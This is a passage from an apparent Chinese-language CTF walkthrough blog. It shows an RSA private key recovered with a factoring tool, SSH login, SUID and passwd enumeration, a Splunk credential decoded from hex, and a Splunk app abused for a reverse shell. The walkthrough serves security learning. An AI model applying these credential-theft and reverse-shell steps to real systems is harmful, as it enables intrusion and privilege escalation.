 -q 0x00ddb6db0664c3067e04ffce9bad4bff6f79c184c891d5b6f19c810aca1ba51d8e667f729c9de96d2337c90d1760fe99a309c19390090773404df5b2f2e9dda040b3a5b30f4f63fb5b5ee569ebd2c8c436c0e147de4befc24eba511158feac153547a0c9bc9e699d6488c7ea5611ce8cf58b1f8b83d0b4980620dc5de41130c97fe0c87bb982369dbe3b14613a521aafa9104e38b4784072baf1f3517f27688a632c89f62031be5a8f1d62fa9a1ba6d56e0ea1f8960c90be3b8a70e202b07ee5f9 --private\n[!] Using native python functions for math, which is slow. install gmpy2 with: &#039;python3 -m pip install &lt;module&gt;&#039;.\n[!] It seems you already provided one of the prime factors, nothing to do here...\n[&#039;\/tmp\/tmpgjqjce8n&#039;]\n\nResults for \/tmp\/tmpgjqjce8n:\n\nPrivate key :\n-----BEGIN RSA PRIVATE KEY-----\nMIIG5QIBAAKCAYEAzJFtXcoCPFAjsKxI4wp3Hjqo2Ngzp8OpFLQrOCgCHeX\/8Xio\n8eobAvTpL5tLv0bP04i4akJvom6aPxFWeL78PF3KxKk3a1OtDj4mTvkUVFR3abPk\npSwMrP4fo6KUXxL33hOBvOis5tKTcD6Ip8va7iw2twcj44Xt8fUcfVW\/tisWbV5B\nFngtRvMSC6eYxuYMG6Hup3Ebb075KN9YmQlxuHhAH9OLXQorZhddSg6C4J5lrAJh\niGaFAxmqMnTVBDItnBomlIjs7wCLwG1F6GS0XLjlcj7\/Hhy\/oaZpP8T2uITes+dd\nBAW34gRIE49dqbtUjENROQ7Ev3e5\/lMRHjNDNaKFYnPObbVwGOFc04V\/9nOm+6PY\nj7WdkLcrxZ1dhW\/EYHJTd665O7C68OreGM8csiyyhr4iwxF7LDye0EkJmwOZBBU0\n4\/AE4Npflaim6pY727JU4\/ysyYosnFIOUXxzJou\/4ABCPQzCHDgjYGMtgig7\/9Sv\neFWBTgSjk+ZwLDBdAgMBAAECggGAE0chJ1WCIGzs8BlMRRkXYKHmh4jYVVb6+BiC\neihLCsZB+F+GjEWjhgPOdc4MtVnW+\/hGaL0aCBSkNI1NuNNGsemk0iOgNV0NUepJ\ncefHIqtTFYL+aRJdn2\/TS3hmww7mjOcJsuO6Z4YwnsNF3Yo4d3lzLoxdtXNJmSOg\nK6+JAYHN+0CGobdxjN4bNT32B8hmG7SG6QCftT2b\/V4O210oelnasSUeXQY4UMai\n4\/e6HbDPpAYVauU+Y6xnfZnE+UBBIO2ZCeSa1EUgWRXgfnSfNvyfVb0REjgG4\/WS\nIk2AKxQH6D1C358X858FlSoA7JBdhIZ+MHaI7LLRb9s9s0Yd8BdiTEpFq2N+Tt1m\n+sGeN2kXBeLMwi6\/NdhuKBH0k+M0asonhfX8ivJMadQENiGSTb6mUyfh30C1VL6S\nu3ES7k80xnQhWic6q4LhIrACvFXpms2an8+zW1Vj9ZYZYB2VzGGJZ35UC6foay7f\nBfd6QPN0hab\/UQmVeJwf4rgtyHwBAoHBAOwzyz6nSLYbiXq5dahQg14qUZdk5q4n\nv5iGm8\/fmYo1WdoLgNwUrschq0l4ZdjW\/ucmGuKGrT8g8zfZ6zLZkMruHIxibOWI\nme84DxXEQBtixFJTPwhFIrHA\/9LFLDPkKbVlVqiY1DjfyYh8oiKeDnBSe7GvgC+H\nMdV+c5Mwnns1VS33VaZXtfGlZtQ3uRvPxyia7of1s4I4C8fBmNrd8aKSCcRqMpFv\nC7zfWP0Oewz87090bqRvmdyw5HvVzOnmhQKBwQDdttsGZMMGfgT\/zputS\/9vecGE\nyJHVtvGcgQrKG6UdjmZ\/cpyd6W0jN8kNF2D+maMJwZOQCQdzQE31svLp3aBAs6Wz\nD09j+1te5Wnr0sjENsDhR95L78JOulERWP6sFTVHoMm8nmmdZIjH6lYRzoz1ix+L\ng9C0mAYg3F3kETDJf+DIe7mCNp2+OxRhOlIar6kQTji0eEByuvHzUX8naIpjLIn2\nIDG+Wo8dYvqaG6bVbg6h+JYMkL47inDiArB+5fkCgcEAyUzW4T2WFUVgpEvcfyam\n3qC4Sos+oZvUiLvnnIBWjVgsjEyTdHzX+3OxU\/sc6XFJaluqO\/ZFPfDp92ZsMTkE\nUj4d7HKRlgkWD666BHXtoKlK4VJ6\/KRXDiCKpelOY6cG+MY11Zfx\/cqTKhP15gTI\nD2fsbSFB4L+ac\/XBr+aWmjB4uKT6xLopoJizCxe2VYJ9nBh2Qz7dzpPPTl2q1JSk\nM0W8tz0+fX2jBkNexsQJkKcbmJ6FEPTfrxq+jt9GNO01AoHBAIbOr83rZkmERjXj\nwfRUyTNWrLu32DRB0BaAv7azqGmYM+o6HdBGJf3L5Yr4NBmaAO\/lq3tggg8pgj1q\nWRipkM7GbHG7VWJNavkANK8WssvbHtvbfuZdGaAU2UXa\/r5TBtpOgVsWVtFEV4Z2\njW62UC7cMIn70+J6rP89\/ji12xwpjNtZnyn1W2RXN8UGWPWw6PLpHMFefJFF6ecw\nHkgv4DT818W3PYeoOGx9yjH5ri8HhA4nv9RUDdbWDlzdlcMSwQKBwQCr1SAS1oPb\nAsiDNI5u4mc9wrVzal+tZ\/UNGGG1v0LXqZS72BDOrMjEev1\/SSApR6uuyH7WQrXv\narVeYZ5aJvSXwizf1PzGDk0ehURr6WLmoLDe63LgN6A2mvoKbfUHs+E3MYCL97A6\nKxsmGbE5tB6V8aQV7HdK+AZinpXjbifpf4WsUEX9PmM8MgtFtmX8IpA3XZxu5zjZ\nFJTGQoZY4q9rpO47HHtXOsKmPDViDhdktvG\/qoSBCKZUevHEsJlcWug=\n-----END RSA PRIVATE KEY-----<\/code><\/pre>\n<p>\u4f7f\u7528\u79c1\u94a5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508667.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508667.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427213938059\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">(remote) lawrence@quandary:\/home\/lawrence$ ls -la\ntotal 40\ndrwxr-xr-x  8 lawrence lawrence 4096 Feb 25  2023 .\ndrwxr-xr-x  4 root     root     4096 Feb 24  2023 ..\nlrwxrwxrwx  1 lawrence lawrence    9 Feb 24  2023 .bash_history -&gt; \/dev\/null\n-rw-r--r--  1 lawrence lawrence  220 Feb 24  2023 .bash_logout\n-rw-r--r--  1 lawrence lawrence 3771 Feb 24  2023 .bashrc\ndrwxrwxr-x 11 lawrence lawrence 4096 Feb 25  2023 .cache\ndrwx------ 11 lawrence lawrence 4096 Feb 25  2023 .config\ndrwxr-xr-x  2 lawrence lawrence 4096 Feb 24  2023 Desktop\ndrwx------  3 lawrence lawrence 4096 Feb 25  2023 .gnupg\ndrwxr-xr-x  3 lawrence lawrence 4096 Feb 24  2023 .local\ndrwx------  2 lawrence lawrence 4096 Feb 25  2023 .ssh\n(remote) lawrence@quandary:\/home\/lawrence$ cd Desktop\/\n(remote) lawrence@quandary:\/home\/lawrence\/Desktop$ ls -la\ntotal 8\ndrwxr-xr-x 2 lawrence lawrence 4096 Feb 24  2023 .\ndrwxr-xr-x 8 lawrence lawrence 4096 Feb 25  2023 ..\n(remote) lawrence@quandary:\/home\/lawrence\/Desktop$ cd ..\n(remote) lawrence@quandary:\/home\/lawrence$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n\/snap\/core\/14784\/bin\/mount\n\/snap\/core\/14784\/bin\/ping\n\/snap\/core\/14784\/bin\/ping6\n\/snap\/core\/14784\/bin\/su\n\/snap\/core\/14784\/bin\/umount\n\/snap\/core\/14784\/usr\/bin\/chfn\n\/snap\/core\/14784\/usr\/bin\/chsh\n\/snap\/core\/14784\/usr\/bin\/gpasswd\n\/snap\/core\/14784\/usr\/bin\/newgrp\n\/snap\/core\/14784\/usr\/bin\/passwd\n\/snap\/core\/14784\/usr\/bin\/sudo\n\/snap\/core\/14784\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core\/14784\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/core\/14784\/usr\/lib\/snapd\/snap-confine\n\/snap\/core\/14784\/usr\/sbin\/pppd\n\/snap\/core\/16928\/bin\/mount\n\/snap\/core\/16928\/bin\/ping\n\/snap\/core\/16928\/bin\/ping6\n\/snap\/core\/16928\/bin\/su\n\/snap\/core\/16928\/bin\/umount\n\/snap\/core\/16928\/usr\/bin\/chfn\n\/snap\/core\/16928\/usr\/bin\/chsh\n\/snap\/core\/16928\/usr\/bin\/gpasswd\n\/snap\/core\/16928\/usr\/bin\/newgrp\n\/snap\/core\/16928\/usr\/bin\/passwd\n\/snap\/core\/16928\/usr\/bin\/sudo\n\/snap\/core\/16928\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core\/16928\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/core\/16928\/usr\/lib\/snapd\/snap-confine\n\/snap\/core\/16928\/usr\/sbin\/pppd\n\/usr\/sbin\/pppd\n\/usr\/lib\/xorg\/Xorg.wrap\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/policykit-1\/polkit-agent-helper-1\n\/usr\/lib\/snapd\/snap-confine\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/bin\/pkexec\n\/usr\/bin\/fusermount\n\/usr\/bin\/su\n\/usr\/bin\/chsh\n\/usr\/bin\/mount\n\/usr\/bin\/newgrp\n\/usr\/bin\/sudo\n\/usr\/bin\/gpasswd\n\/usr\/bin\/passwd\n\/usr\/bin\/chfn\n\/usr\/bin\/umount\n(remote) lawrence@quandary:\/home\/lawrence$ cat \/etc\/passwd | grep &quot;bash&quot;\nroot:x:0:0:root:\/root:\/bin\/bash\nlawrence:x:1000:1000:lawrence,,,:\/home\/lawrence:\/bin\/bash\n(remote) lawrence@quandary:\/home\/lawrence$ cd ..\/\n(remote) lawrence@quandary:\/home$ ls -la\ntotal 16\ndrwxr-xr-x  4 root     root     4096 Feb 24  2023 .\ndrwxr-xr-x 20 root     root     4096 Feb 26  2023 ..\ndrwxr-xr-x  6 admin    admin    4096 Feb 26  2023 admin\ndrwxr-xr-x  8 lawrence lawrence 4096 Feb 25  2023 lawrence\n(remote) lawrence@quandary:\/home$ cd admin\/\n(remote) lawrence@quandary:\/home\/admin$ ls -la\ntotal 48\ndrwxr-xr-x 6 admin admin 4096 Feb 26  2023 .\ndrwxr-xr-x 4 root  root  4096 Feb 24  2023 ..\nlrwxrwxrwx 1 admin admin    9 Feb 24  2023 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 admin admin  220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 admin admin 3771 Feb 25  2020 .bashrc\ndrwxrwxr-x 3 admin admin 4096 Feb 24  2023 .local\n-rw-r--r-- 1 admin admin  807 Feb 25  2020 .profile\n-rw-rw-r-- 1 admin admin   66 Feb 24  2023 .selected_editor\ndrwx--x--- 2 admin admin 4096 Feb 24  2023 .splunk\ndrwxr-xr-x 9 admin admin 4096 Apr 27 03:44 splunk-backup\ndrwx------ 2 admin admin 4096 Feb 24  2023 .ssh\n-rw-rw-r-- 1 admin admin   10 Apr 27 07:40 status.txt\n-rw-r--r-- 1 admin admin    0 Feb 26  2023 .sudo_as_admin_successful\n-rw------- 1 admin admin   33 Feb 22  2023 user.txt\n(remote) lawrence@quandary:\/home\/admin$ cd .splunk\/\n-bash: cd: .splunk\/: Permission denied\n(remote) lawrence@quandary:\/home\/admin$ cd splunk-backup\/\n(remote) lawrence@quandary:\/home\/admin\/splunk-backup$ ls -la\ntotal 2484\ndrwxr-xr-x  9 admin admin    4096 Apr 27 03:44 .\ndrwxr-xr-x  6 admin admin    4096 Feb 26  2023 ..\ndrwxr-xr-x  4 admin admin    4096 Feb 26  2023 bin\n-r--r--r--  1 admin admin      57 Feb 26  2023 copyright.txt\n-rw-r--r--  1 admin admin      35 Feb 26  2023 cred\ndrwxr-xr-x 16 admin admin    4096 Feb 26  2023 etc\ndrwxr-xr-x  3 admin admin    4096 Feb 26  2023 include\ndrwxr-xr-x  6 admin admin    4096 Feb 26  2023 lib\n-r--r--r--  1 admin admin   61779 Feb 26  2023 license-eula.txt\ndrwxr-xr-x  3 admin admin    4096 Feb 26  2023 openssl\n-r--r--r--  1 admin admin     844 Feb 26  2023 README-splunk.txt\ndrwxr-xr-x  3 admin admin    4096 Feb 26  2023 share\n-r--r--r--  1 admin admin 2421865 Feb 26  2023 splunk-7.1.9-45b25e1f9be3-linux-2.6-x86_64-manifest\ndrwx--x---  6 admin admin    4096 Feb 26  2023 var\n(remote) lawrence@quandary:\/home\/admin\/splunk-backup$ cat cred \n61646d696e3a7735564a39692333216f73\n(remote) lawrence@quandary:\/home\/admin\/splunk-backup$ echo &#039;61646d696e3a7735564a39692333216f73&#039; | xxd\n00000000: 3631 3634 3664 3639 3665 3361 3737 3335  61646d696e3a7735\n00000010: 3536 3461 3339 3639 3233 3333 3231 3666  564a39692333216f\n00000020: 3733 0a                                  73.\n(remote) lawrence@quandary:\/home\/admin\/splunk-backup$ echo &#039;61646d696e3a7735564a39692333216f73&#039; | xxd -p -r\n    admin:w5VJ9i#3!os<\/code><\/pre>\n<ol>\n<li><code>echo &#039;61646d696e3a7735564a39692333216f73&#039;<\/code>: \u4f7f\u7528<code>echo<\/code>\u547d\u4ee4\u8f93\u51fa\u7ed9\u5b9a\u7684\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u3002<\/li>\n<li><code>|<\/code>: \u7ba1\u9053\u7b26\u53f7\uff0c\u5b83\u5c06<code>echo<\/code>\u547d\u4ee4\u7684\u8f93\u51fa\u4f5c\u4e3a<code>xxd<\/code>\u547d\u4ee4\u7684\u8f93\u5165\u3002<\/li>\n<li><code>xxd -p -r<\/code>: \u8fd9\u662f<code>xxd<\/code>\u547d\u4ee4\u7684\u53c2\u6570\u3002\n<ul>\n<li><code>-p<\/code>: \u8868\u793a\u4ee5\u7eaf\u5341\u516d\u8fdb\u5236\u683c\u5f0f\u663e\u793a\u6570\u636e\u3002\u4f46\u5728\u4e0e<code>-r<\/code>\u53c2\u6570\u7ed3\u5408\u4f7f\u7528\u65f6\uff0c\u5b83\u5b9e\u9645\u4e0a\u662f\u544a\u8bc9<code>xxd<\/code>\u671f\u671b\u8f93\u5165\u662f\u7eaf\u5341\u516d\u8fdb\u5236\u683c\u5f0f\uff0c\u5e76\u5e94\u8be5\u5c06\u5176\u8f6c\u6362\u56de\u5176\u4e8c\u8fdb\u5236\u5f62\u5f0f\u3002<\/li>\n<li><code>-r<\/code>: \u8868\u793a\u5c06\u5341\u516d\u8fdb\u5236\u8f6c\u50a8\u53cd\u5411\u8f6c\u6362\u56de\u5176\u4e8c\u8fdb\u5236\u5f62\u5f0f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<h3>splunk\u6f0f\u6d1e\u5229\u7528<\/h3>\n<blockquote>\n<p>\u53c2\u8003<\/p>\n<p><a href=\"https:\/\/book.hacktricks.xyz\/network-services-pentesting\/8089-splunkd\">https:\/\/book.hacktricks.xyz\/network-services-pentesting\/8089-splunkd<\/a><\/p>\n<p><a href=\"https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation\/splunk-lpe-and-persistence#abusing-splunk-queries\">https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation\/splunk-lpe-and-persistence#abusing-splunk-queries<\/a><\/p>\n<\/blockquote>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508668.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508668.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427214759065\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508669.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508669.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427214956346\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u4f7f\u7528https:\/\/github.com\/TBGSecurity\/splunk_shells\u8fdb\u884c\u6d4b\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508670.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508670.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427215244534\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5b89\u88c5\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508671.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508671.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427215337955\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508672.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508672.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427215402395\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u91cd\u542f\u4e00\u4e0b\u540c\u65f6\u672c\u5730\u76d1\u542c\u4e00\u4e0b1234\u7aef\u53e3\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508673.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508673.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427215449200\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u5728\u641c\u7d22\u6846\u8fdb\u884c\u53cd\u5f39\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508674.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508674.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427215534581\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u5df2\u7ecf\u4e0a\u4f20\u4e14\u542f\u7528\u4e86\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508675.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508675.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427215701912\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508676.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508676.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427215806082\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5b89\u88c5\u5931\u8d25\u4e86\uff1f\u4fee\u6539\u4e00\u4e0b\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508677.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508677.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428140534086\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508678.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508678.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428140921744\" \/><\/div><\/p>\n<p>\u4f46\u662f<code>pwncat-cs<\/code>\u51fa\u4e86\u5c0f\u9519\u8bef\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508679.png'><img class=\"lazyload lazyload-style-2\" 